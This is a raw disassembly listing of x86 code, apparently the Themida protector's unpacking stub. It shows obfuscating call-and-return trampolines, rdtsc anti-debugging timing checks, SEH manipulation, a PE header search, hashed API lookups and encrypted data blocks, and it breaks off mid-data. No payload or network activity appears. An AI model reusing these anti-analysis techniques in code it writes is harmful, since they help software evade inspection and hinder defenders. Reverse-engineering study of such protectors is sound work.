======================================= sub_5BFD67 proc near ; CODE XREF: Themida_:005BFD5Fp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 19h inc edx push edx retn sub_5BFD67 endp ; --------------------------------------------------------------------------- inc ecx enter 5138h, 81h stosd mov edi, [ebp+61410EDh] jmp loc_5C029F ; --------------------------------------------------------------------------- dd 0E851006Ah, 3, 59C35920h db 89h, 4Ch ; --------------------------------------------------------------------------- loc_5BFD96: ; CODE XREF: Themida_:005BFD34j and al, 4 add dword ptr [esp+4], 1Bh inc ecx push ecx retn ; --------------------------------------------------------------------------- db 7 dd 6E0861ABh db 0F8h, 0D0h, 0BAh ; --------------------------------------------------------------------------- loc_5BFDAB: ; CODE XREF: Themida_:005BFD56j cmp byte ptr [eax], 0 jnz near ptr dword_5BFAAC+1E1h push 0 push ebp call sub_5BFDBF and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BFDBF proc near ; CODE XREF: Themida_:005BFDB7p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 16h inc ebp push ebp retn sub_5BFDBF endp ; --------------------------------------------------------------------------- push ds lodsd retn ; --------------------------------------------------------------------------- jmp loc_5BFDE4 ; --------------------------------------------------------------------------- mov edx, 0EB2D4D4h loc_5BFDDC: ; CODE XREF: Themida_:005BFE23j dec eax jge $+6 clc loc_5BFDE4: ; CODE XREF: Themida_:005BFDD2j cmp eax, [ebp+6181648h] jb loc_5BFE60 adc di, 0AF22h cmp byte ptr [eax], 5Ch jz loc_5BFE60 push 0 push eax call sub_5BFE09 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BFE09 proc near ; CODE XREF: Themida_:005BFE01p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ah inc eax push eax retn sub_5BFE09 endp ; --------------------------------------------------------------------------- mov al, 0Ch push esi cmp eax, 80F2713Fh cmp [edi], ch jnz loc_5BFDDC push 0 push edi call sub_5BFE34 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BFE34 proc near ; CODE XREF: Themida_:005BFE2Cp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 16h inc edi push edi retn sub_5BFE34 endp ; --------------------------------------------------------------------------- dd 0E81E4A88h, 0Dh, 0AD3C7ABBh, 27C05149h, 94E74335h, 0B18531FAh dd 5A06141Bh ; --------------------------------------------------------------------------- loc_5BFE60: ; CODE XREF: Themida_:005BFDEAj ; Themida_:005BFDF8j inc eax push 0 push ecx call sub_5BFE6C and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BFE6C proc near ; CODE XREF: Themida_:005BFE64p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Dh inc ecx push ecx retn sub_5BFE6C endp ; --------------------------------------------------------------------------- cmp al, 92h sub dl, cs:[eax-58A0D08Bh] imul esi, [ecx], -4Bh xchg eax, ecx add [esi+eax], edx cmp dword ptr [ebp+6181650h], 0 jz loc_5C008E push 0 push edx call sub_5BFEA4 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BFEA4 proc near ; CODE XREF: Themida_:005BFE9Cp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_5BFEA4 endp ; --------------------------------------------------------------------------- dd 0D1B7DBA7h, 7BB96A50h, 11E9A77Ch, 14000000h, 19E20E3Fh dd 939D1F4Dh, 6856116Eh, 0BBD1F010h, 9E9h, 9534B500h, 0C7198CD7h dd 66903B86h, 5039C3BAh, 51006A90h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1A04h, 0C3514100h, 7D45B376h, 0E95FA085h dd 8, 92A877E4h, 34D1B342h, 0FCD98166h, 6880F31h, 1000000h dd 1434159Dh, 50850306h, 60061816h, 51F6B70Fh, 6650615Bh dd 489F98Bh, 50006A24h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1504h, 0C3504000h, 0BD2BA6D2h, 61401C9h, 6A046Ah, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h dd 0C1EC32C3h, 0BF0F5220h, 0F505FCEh, 28Ah, 89CF8B00h dd 0BD8B2404h, 6140DD9h, 165C95FFh, 6A0618h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 140424h, 51410000h, 0D88B4FC3h dd 4B5BD8Bh, 0E8580614h, 13h, 4BE35760h, 0A7D64958h, 4CAD028h dd 0E50B9D47h, 3139FE03h, 140FFD85h, 0DB0B5F06h, 4B840Fh dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h dd 53430000h, 81664DC3h, 0E9AE3ADAh, 28Fh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 21C35646h, 8902519Bh dd 1426959Dh, 0C606h, 87FEB966h, 0A219501h, 6A580614h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h dd 42000000h ; --------------------------------------------------------------------------- loc_5C005C: ; DATA XREF: ___:off_443EACo push edx retn ; --------------------------------------------------------------------------- dw 6866h dd 843EDA00h, 3F282C25h, 0CE8h, 6AAD0F00h, 10238B74h, 0E3146025h dd 0FE936h, 51AE0000h, 70C773BFh, 0B7B0775Ch, 722D798Ch db 1, 59h ; --------------------------------------------------------------------------- loc_5C008E: ; CODE XREF: Themida_:005BFE93j push eax mov dx, 0C9EDh mov [esp], eax push 0 push ecx call sub_5C00A1 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C00A1 proc near ; CODE XREF: Themida_:005C0099p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Bh inc ecx push ecx retn sub_5C00A1 endp ; --------------------------------------------------------------------------- xor byte ptr [esi+esi*8], 0D7h ja short loc_5C00FC or [eax+0Fh], eax mov bh, 0FBh push 1Eh push 0 push ebp call sub_5C00C9 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C00C9 proc near ; CODE XREF: Themida_:005C00C1p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 15h inc ebp push ebp retn sub_5C00C9 endp ; --------------------------------------------------------------------------- db 1Bh, 85h, 66h dd 2C25D181h, 57525050h, 830Fh, 0F5A0000h, 89585A31h, 95FF2404h dd 618165Ch, 1219958Bh ; --------------------------------------------------------------------------- loc_5C00FC: ; CODE XREF: Themida_:005C00B5j adc al, 6 sub ecx, [ebp+6141FD5h] mov ebx, eax push 0 push edi call sub_5C0111 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C0111 proc near ; CODE XREF: Themida_:005C0109p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 14h inc edi push edi retn sub_5C0111 endp ; --------------------------------------------------------------------------- adc ah, bh and di, 2C3Ch pop eax mov dl, 0E9h or ebx, ebx jz loc_5C015F mov ecx, 32009548h jmp loc_5C029F ; --------------------------------------------------------------------------- push 0 push ebp call sub_5C0148 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C0148 proc near ; CODE XREF: Themida_:005C0140p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 15h inc ebp push ebp retn sub_5C0148 endp ; --------------------------------------------------------------------------- dd 81662DDAh db 0F7h, 0E9h, 0Bh ; --------------------------------------------------------------------------- loc_5C015F: ; CODE XREF: Themida_:005C012Dj push eax pusha call sub_5C016B sub eax, 0BE632AB3h ; =============== S U B R O U T I N E ======================================= sub_5C016B proc near ; CODE XREF: Themida_:005C0161p arg_20 = dword ptr 24h mov esi, 403356F3h pop esi push eax push edx rdtsc jge $+6 pop edx pop eax popa mov [esp-24h+arg_20], eax mov ecx, [ebp+6142BFDh] push dword ptr [ebp+618163Ch] push 0 push edi call sub_5C0198 and [edi-3Dh], bl sub_5C016B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5C0198 proc near ; CODE XREF: sub_5C016B+25p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 15h inc edi push edi retn sub_5C0198 endp ; --------------------------------------------------------------------------- adc ecx, 164095FFh sbb [esi], al push 0 push eax call sub_5C01BB and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C01BB proc near ; CODE XREF: Themida_:005C01B3p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Bh inc eax push eax retn sub_5C01BB endp ; --------------------------------------------------------------------------- db 5Ah dd 0F15A1A1Ah, 0B50EEC71h, 0FC00B38h, 5D85h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 61CA8AE5h, 162DBD89h, 85C70614h, 6181644h, 1, 0ABD9BF66h dd 8AE9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1904h, 0C3554500h, 34A4DBA6h, 0BF66DF7Ah, 6A616343h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 0D214C353h, 0BE90EFDh, 0D9000000h, 0D200304Ch dd 84DDA731h, 0C681C1F2h, 11Ch, 130FCA81h, 91E92F17h, 6AFFFFF8h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h ; --------------------------------------------------------------------------- loc_5C028C: ; CODE XREF: Themida_:005C02AAj inc esp and al, 4 push ss ; --------------------------------------------------------------------------- dd 46000000h, 0A5C9C356h, 61858901h ; --------------------------------------------------------------------------- sub edx, [esi+eax] loc_5C029F: ; CODE XREF: Themida_:005BFD83j ; Themida_:005C0138j call near ptr loc_5C02A4+4 loc_5C02A4: ; CODE XREF: Themida_:loc_5C029Fp add [eax-469A0000h], al jnp short loc_5C028C push eax mov dh, 0FCh mov eax, [esp+4] mov edi, 3D78570Bh mov eax, [eax] mov di, 0C69Ah mov [esp+4], eax push eax push edx push eax push edx push esi pop edi rdtsc push eax push edx rdtsc pop edx pop eax pop edx pop eax rdtsc push eax jmp loc_5C02E0 ; --------------------------------------------------------------------------- pop ebp cmp eax, 40991D34h loc_5C02E0: ; CODE XREF: Themida_:005C02D5j pop ecx pop edx pop eax pop eax mov [ebp+6142559h], edi push 0 mov ecx, [ebp+61434A5h] push dword ptr [ebp+618164Ch] jo loc_5C0308 jge loc_5C0308 mov cx, 0D164h loc_5C0308: ; CODE XREF: Themida_:005C02F8j ; Themida_:005C02FEj call dword ptr [ebp+6140C21h] jmp loc_5C0322 ; --------------------------------------------------------------------------- db 5 dd 80F83E66h, 0E2C20D1Dh, 3CB07645h db 0A3h, 81h ; --------------------------------------------------------------------------- loc_5C0322: ; CODE XREF: Themida_:005C030Ej mov eax, [ebp+6181644h] jbe loc_5C0334 mov [ebp+6141581h], edx loc_5C0334: ; CODE XREF: Themida_:005C0328j push eax jnz loc_5C0354 jmp loc_5C0354 ; --------------------------------------------------------------------------- dd 9F0013C5h, 1A332BA7h, 2B218799h, 0D23DDBA5h, 1CDDAF2Ch ; --------------------------------------------------------------------------- loc_5C0354: ; CODE XREF: Themida_:005C0335j ; Themida_:005C033Bj mov [esp], eax cmc lea eax, [ebp+6181654h] mov edx, 74E91181h nop call sub_5C037A inc edi in eax, 87h ; DMA page register 74LS612: ; Channel 0 (address bits 16-23) jge short sub_5C03CD movsd mov dword ptr [edx], 8AA1622Fh add al, 87h ; --------------------------------------------------------------------------- db 62h db 0C9h, 89h ; =============== S U B R O U T I N E ======================================= sub_5C037A proc near ; CODE XREF: Themida_:005C0364p push eax mov dx, cx pop ecx pop edi push eax mov cx, 5746h nop call near ptr loc_5C039D+1 sbb esi, 4Dh push ds sub ah, [eax] cmp [ecx+1], bh icebp dec esi pop ebx fild word ptr [ecx] pop ds popa xor al, 0E1h loc_5C039D: ; CODE XREF: Themida_:005C03C8j ; sub_5C037A+Cp ... lea esi, [edx-7A72A5B2h] sub_5C037A endp ; sp-analysis failed adc [esi], edx sbb [esi], al movzx edi, bx push eax pusha mov esi, edi mov ecx, 58F68762h popa mov [esp], eax call sub_5C03CD sbb eax, 18297ED1h lodsb cld shr dword ptr [edi], 1 jnp short near ptr loc_5C039D+4 cmpsd jl short loc_5C039D xlat stosb outsb ; =============== S U B R O U T I N E ======================================= sub_5C03CD proc near ; CODE XREF: Themida_:005C036Cj ; Themida_:005C03B7p add [ebp+614032Dh], edi pop edx call dword ptr [ebp+6140895h] adc cx, 0D72Dh mov eax, eax and edx, [ebp+6142A59h] cmp dword ptr [ebp+61410F1h], 0 jnz short loc_5C03F9 cmp dword ptr [ebp+6140E25h], 0 jz short loc_5C040C loc_5C03F9: ; CODE XREF: sub_5C03CD+21j push eax push ebx mov eax, eax mov eax, 4D0h lea ebx, [ebp+616A58Dh] call ebx ; _iob pop ebx pop eax loc_5C040C: ; CODE XREF: sub_5C03CD+2Aj cmp dword ptr [ebp+6140E25h], 0 jz short loc_5C0426 push eax push ebx mov eax, 4D0h lea ebx, [ebp+616A48Ch] call ebx ; _iob pop ebx pop eax loc_5C0426: ; CODE XREF: sub_5C03CD+46j mov cl, bl push 0 push ecx call sub_5C0433 and [ecx-3Dh], bl sub_5C03CD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5C0433 proc near ; CODE XREF: sub_5C03CD+5Ep arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Dh inc ecx push ecx retn sub_5C0433 endp ; --------------------------------------------------------------------------- lahf jl short loc_5C04B1 lahf js short loc_5C0482 sub [edx-2F745C38h], al mov eax, eax push 0 push edi call sub_5C045C and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C045C proc near ; CODE XREF: Themida_:005C0454p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 16h inc edi push edi retn sub_5C045C endp ; --------------------------------------------------------------------------- cmp bl, dl ror byte ptr [ecx+14122595h], 6 pop eax push 0 push esi call sub_5C0481 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C0481 proc near ; CODE XREF: Themida_:005C0479p arg_4 = dword ptr 8 pop esi loc_5C0482: ; CODE XREF: Themida_:005C0447j mov [esp-4+arg_4], esi add [esp-4+arg_4], 14h inc esi push esi retn sub_5C0481 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 6Bh, 0C2h, 8 dd 27C28000h, 0BF0FC08Bh, 77858DD2h, 6A061816h, 3E85100h dd 20000000h, 8959C359h db 4Ch ; --------------------------------------------------------------------------- loc_5C04B1: ; CODE XREF: Themida_:005C0444j and al, 4 add dword ptr [esp+4], 16h inc ecx push ecx retn ; --------------------------------------------------------------------------- or byte ptr [esi], 8Fh mov edi, [ebp+6142FB1h] mov edx, 0B996CFAh movsx edx, bx mov [ebp+6140A49h], eax jmp loc_5C054F ; --------------------------------------------------------------------------- pusha mov ax, ds test al, 4 jz loc_5C051B push 1 push dword ptr [ebp+6140C2Dh] lea eax, [ebp+61778FEh] call eax mov [ebp+6141C45h], eax mov edi, esi shr edi, 0Ch push 20040000h push 0 push 2 push edi push 1000Dh call dword ptr [ebp+6141C45h] jmp loc_5C054D ; --------------------------------------------------------------------------- loc_5C051B: ; CODE XREF: Themida_:005C04E0j mov byte ptr [ebp+6140849h], 56h push 0A9C530DFh push dword ptr [ebp+6142C65h] lea eax, [ebp+61778FEh] call eax mov [ebp+614138Dh], eax lea eax, [ebp+6142529h] push eax push 20h push 5 push esi call dword ptr [ebp+614138Dh] loc_5C054D: ; CODE XREF: Themida_:005C0516j popa retn ; --------------------------------------------------------------------------- loc_5C054F: ; CODE XREF: Themida_:005C04D5j shl eax, 6 mov edx, 0F0113000h sub edx, 0F0000000h add edx, 14h mov [ebp+6141D21h], edx sub edx, 14h lea eax, [ebp+6182A5Ch] push eax push large dword ptr fs:0 mov large fs:0, esp call $+5 pop eax sub eax, edx and eax, 0FFFFF000h loc_5C058B: ; CODE XREF: Themida_:005C05ADj cmp word ptr [eax], 5A4Dh jnz loc_5C05A8 movzx edx, word ptr [eax+3Ch] add edx, eax cmp dword ptr [edx], 4550h jz loc_5C05B2 loc_5C05A8: ; CODE XREF: Themida_:005C0590j sub eax, 1000h jmp loc_5C058B ; --------------------------------------------------------------------------- loc_5C05B2: ; CODE XREF: Themida_:005C05A2j mov ecx, eax mov [ebp+61423B5h], eax add eax, [eax+3Ch] movzx edx, word ptr [eax+6] mov [ebp+6142671h], edx mov edx, [eax+50h] mov [ebp+61434F5h], edx add eax, 0F8h mov edx, [eax+0Ch] add edx, ecx mov [ebp+61415C9h], edx add edx, [eax+8] mov [ebp+6141045h], edx pop large dword ptr fs:0 add esp, 4 jmp loc_5C060B ; --------------------------------------------------------------------------- push ecx mov ecx, [esp+10h] sub dword ptr [ecx+0B0h], 1000h pop ecx xor eax, eax retn ; --------------------------------------------------------------------------- loc_5C060B: ; CODE XREF: Themida_:005C05F3j cmp dword ptr [ebp+6140CC9h], 0 jz loc_5C063C mov byte ptr [ebp+6140849h], 47h push 0D49AA7D2h push dword ptr [ebp+6142C65h] lea eax, [ebp+61778FEh] call eax push 0 call eax mov [ebp+6142AB5h], eax loc_5C063C: ; CODE XREF: Themida_:005C0612j mov edx, ebx call near ptr sub_5C064F dec ebx cld inc esi retf ; --------------------------------------------------------------------------- db 62h ; --------------------------------------------------------------------------- movsd lodsb sti push edi aam 0CDh pop ebp ; =============== S U B R O U T I N E ======================================= sub_5C064F proc far ; CODE XREF: Themida_:005C063Ep add al, 73h pop edi mov ebx, edx add edi, 73D7h mov ax, 0CFh xor ecx, ecx push eax cmc pop eax loc_5C0664: ; CODE XREF: Themida_:005C06CAj mov edx, [edi+ecx] mov ebx, ecx xor edx, 798ED908h pusha mov ebx, 1932C8E2h jmp loc_5C068E ; --------------------------------------------------------------------------- mov edx, 7D5B543Fh retf ; --------------------------------------------------------------------------- dd 0BFED3A33h, 1F4BF87Fh, 8F2495CBh ; --------------------------------------------------------------------------- xor edx, ebx loc_5C068E: ; CODE XREF: sub_5C064F+26j popa add edx, 6C8E8EDFh pusha cld jge loc_5C06A1 mov dx, 0C0ECh loc_5C06A1: ; CODE XREF: sub_5C064F+48j popa xor edx, 0A236214h movzx eax, cx mov [edi+ecx], edx stc call near ptr loc_5C06B8+1 mov dh, 7Ch push eax das loc_5C06B8: ; CODE XREF: sub_5C064F+60p xor byte ptr [eax-167CA1D4h], 2 sub_5C064F endp ; sp-analysis failed dec ecx dec ecx adc bl, 0A9h cmp ecx, 0FFFF8CB4h jnz loc_5C0664 mov al, ch pusha push 0 push esi call sub_5C06DE and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C06DE proc near ; CODE XREF: Themida_:005C06D6p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Dh loc_5C06EB: ; CODE XREF: Themida_:005C06F2j inc esi push esi retn sub_5C06DE endp ; --------------------------------------------------------------------------- mov bl, ch mov eax, ecx jo short loc_5C06EB xor eax, 8907C693h test [ecx], eax and edx, [esi+eax] mov eax, eax pusha sub edi, 50B42C49h movzx eax, ax popa cmp dword ptr [ebp+61410F1h], 0 jnz short loc_5C071D cmp dword ptr [ebp+6140E25h], 0 jz short loc_5C0736 loc_5C071D: ; CODE XREF: Themida_:005C0712j push eax push ebx mov eax, eax mov eax, 438h mov [ebp+6141819h], eax lea ebx, [ebp+616A752h] call ebx ; _iob pop ebx pop eax loc_5C0736: ; CODE XREF: Themida_:005C071Bj cmp dword ptr [ebp+6140E25h], 0 jz short loc_5C0756 push eax push ebx loc_5C0741: ; CODE XREF: Themida_:005C0772j mov eax, 438h mov [ebp+6141819h], eax lea ebx, [ebp+616A441h] call ebx ; _iob pop ebx pop eax loc_5C0756: ; CODE XREF: Themida_:005C073Dj push 0 push esi call sub_5C0761 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C0761 proc near ; CODE XREF: Themida_:005C0759p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 16h inc esi push esi retn sub_5C0761 endp ; --------------------------------------------------------------------------- cli loop loc_5C0741 mov di, 0F622h and ecx, 2BC4B48Bh mov [ebp+6140CD1h], esi mov eax, eax push 0 push edi call sub_5C0791 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C0791 proc near ; CODE XREF: Themida_:005C0789p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 17h inc edi push edi retn sub_5C0791 endp ; --------------------------------------------------------------------------- db 0D0h, 0DFh, 6Ch ; --------------------------------------------------------------------------- mov dl, 1 xchg eax, ebp xor [ebx], edx adc al, 6 call sub_5C1110 push 0 push ebp call sub_5C07BB and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C07BB proc near ; CODE XREF: Themida_:005C07B3p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 14h inc ebp push ebp retn sub_5C07BB endp ; --------------------------------------------------------------------------- dec edx or [ebp+614167Dh], ecx mov [ebp+6140ECDh], eax jnz $+6 call sub_5C1110 push 0 push ebp call sub_5C07EE and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C07EE proc near ; CODE XREF: Themida_:005C07E6p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 19h inc ebp push ebp retn sub_5C07EE endp ; --------------------------------------------------------------------------- dw 0C326h dd 0C172EDFFh, 658589F8h, 9061426h, 141CE98Dh, 0EE806h dd 28C30000h, 97ED427Ch, 5335B7EFh, 32F05B29h, 12E8h, 9B109900h dd 0C62C9B16h, 301A782Ah, 8DAD982Eh, 0E9DAD783h, 7, 0DE20E048h dd 5E8CD68Ch, 8C2E85Fh, 870F0000h, 17h, 12E9h, 6FE55F00h dd 0CC5063E4h, 68FAE62Bh, 41C83024h, 89E699DBh, 14129D85h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h dd 0C3534300h, 49CFBD9Ch, 13E84E23h, 0A6000000h, 0AAF08318h dd 7EEED8B1h, 39EAE3A8h, 3837A3CAh, 10E90686h, 0A5000000h dd 1053A66Bh, 779A70F5h, 8F0D988Eh, 5F6E0A80h, 84BE8h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h dd 0C3574700h, 0DCC8C5B2h, 89AFB719h, 140E219Dh, 11858906h dd 5106141Dh, 7E9h, 0D3762600h, 3D9FD631h, 80AE85Eh, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 6069CEC3h, 0BC158A68h, 2F9DBD89h, 0BD8B0614h, 6140FEDh dd 80D8589h, 6A0614h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1D0424h, 53430000h, 7DEC0EC3h, 505914E6h, 899F8522h dd 142A4DB5h, 7A6E806h, 0C9800000h, 55858979h, 6A06140Dh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 19042444h dd 47000000h, 35B7C357h, 0F05B2953h, 183AF0BFh, 772E85Fh dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h dd 53430000h, 0C8C7CC3h, 6E8B9F2h, 0F6000000h, 0C9170E1Ah dd 45BD8914h, 5F06140Eh, 1C3D8589h, 6A0614h, 3E850h, 58200000h dd 448958C3h, 44810424h, 140424h, 50400000h, 0B58BC9C3h dd 614064Dh, 713E8h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1904h, 0C3564600h, 0F70B07Ah, 95890F9Ch dd 6140979h, 0A07ABF66h, 11C98589h, 6A0614h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 160424h, 52420000h, 633BAEC3h dd 6BFE8h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1704h, 0C3534300h, 756B429Ah, 0CB6BF66h, 0E1D8589h dd 6A0614h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h dd 51410000h, 8769DFC3h, 954214F1h, 66EE8D5h, 81660000h dd 89600CD7h, 14238985h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1504h, 0C3524200h, 0EE813641h, 4364D4CDh dd 6D9BD89h, 35E80614h, 6A000006h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 67EFC356h dd 0A05AC353h, 0DC86DEDAh, 6E8h, 0AA706500h, 0E961EF31h dd 11h, 4A8ED918h, 0D81845A4h, 0A52FDB7Fh, 88912617h, 85895971h dd 61404B1h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 17h, 0F9C35242h, 6643F847h, 0E85752BEh, 5C0h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0BFC35040h, 7768E386h dd 25018589h, 0BF660614h, 91E8CC44h, 6A000005h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h dd 0C418C353h, 253D8509h, 85890614h, 614074Dh, 618589h dd 8D890614h, 6142E19h, 557E8h, 89FA8B00h, 140D0985h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 85295F7Ch, 6140191h, 527E8h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 3D931AEDh dd 1D4049DAh, 0D05B501h, 85890614h, 6140499h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 18h, 6BC35040h, 0F38255E9h dd 12E8h, 3803DF00h, 5E381FC2h, 91EEB546h, 0C6A5FC80h dd 89523CB1h, 14088DBDh, 95895E06h, 6141371h, 6E9h, 0EE1B2600h dd 0E82E741Fh, 4A4h, 85897DB1h, 6140E15h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 17h, 0D4C35646h, 6684618Fh dd 0B03667B9h, 95858900h, 0F061431h, 6AD8B6h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 0BFFCF2C3h dd 0E42026B4h, 31B50132h, 0BA061434h, 6, 0FE9h, 0F8A08800h dd 0E3EBAA02h, 24E6CDFFh, 444E1026h, 810FC38Bh, 5, 0DFDEA3BEh dd 4E8C15Ch, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 16h, 0B2C35646h, 8D8B4BEBh, 6140A2Dh, 2BE2F766h, 0FA8B93D8h dd 11B96650h, 6A936Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 160424h, 56460000h, 189F2C3h, 0FFCA8B66h, 14121195h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h dd 0C3524200h, 0FEACD2BDh, 0BD89AAACh, 6141025h, 50006A5Bh dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 30BC6E84h, 0D8895B90h, 0BF0F9156h, 1958DF7h, 6A061413h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 0AEE9C355h, 58F38A6h, 58A0F49h, 0BF000000h dd 7F39EE58h, 6A1A89h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 0F0AE6C3h, 68Eh, 59958900h, 0F9061408h dd 89044289h, 142D6D8Dh, 65958D06h, 6A061406h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h dd 3101C357h, 1545BD89h, 8D8B0614h, 61408DDh, 6A1A89h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 79262FC3h, 42898FB7h, 55006A04h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1C04h, 0C3554500h, 7CE7DB37h, 6A85BF93h dd 8DF88B9Ch, 1425B595h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1904h, 0C3564600h, 0F4BF3C4Ch, 1A8922D9h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 70C35343h dd 0BF66644Eh, 813A0F7Eh, 0B800F7Eh, 0E9000000h, 6, 81500EDDh dd 428990B4h, 50006A04h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1C04h, 0C3504000h, 5E077E87h, 9F8E949Bh, 95296025h dd 6141359h, 87DBD8Bh, 89610614h, 140DEDBDh, 0DD958D06h dd 6A061407h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 18042444h, 43000000h, 7B66C353h, 11A6583h, 1404658Dh dd 661A8906h, 4289CB8Bh, 56006A04h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1404h, 0C3564600h, 89D2B5E5h, 140DD995h dd 0A1958D06h, 6A06142Dh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1C042444h, 43000000h, 159AC353h, 866F578Ch dd 8993DB13h, 140021BDh, 6A1A8906h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 350EC351h dd 44289D4h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Bh, 0A0C35242h, 0DFCE2C63h, 0B546F3DAh, 0F1958D43h dd 6A061402h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 16042444h, 42000000h, 0D64AC352h, 6A1A89E2h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h dd 0A126C352h, 0C681D266h, 380CFDA7h, 89044289h, 141CE59Dh dd 0B5958D06h, 6A061416h, 3E85700h, 20000000h, 895FC35Fh dd 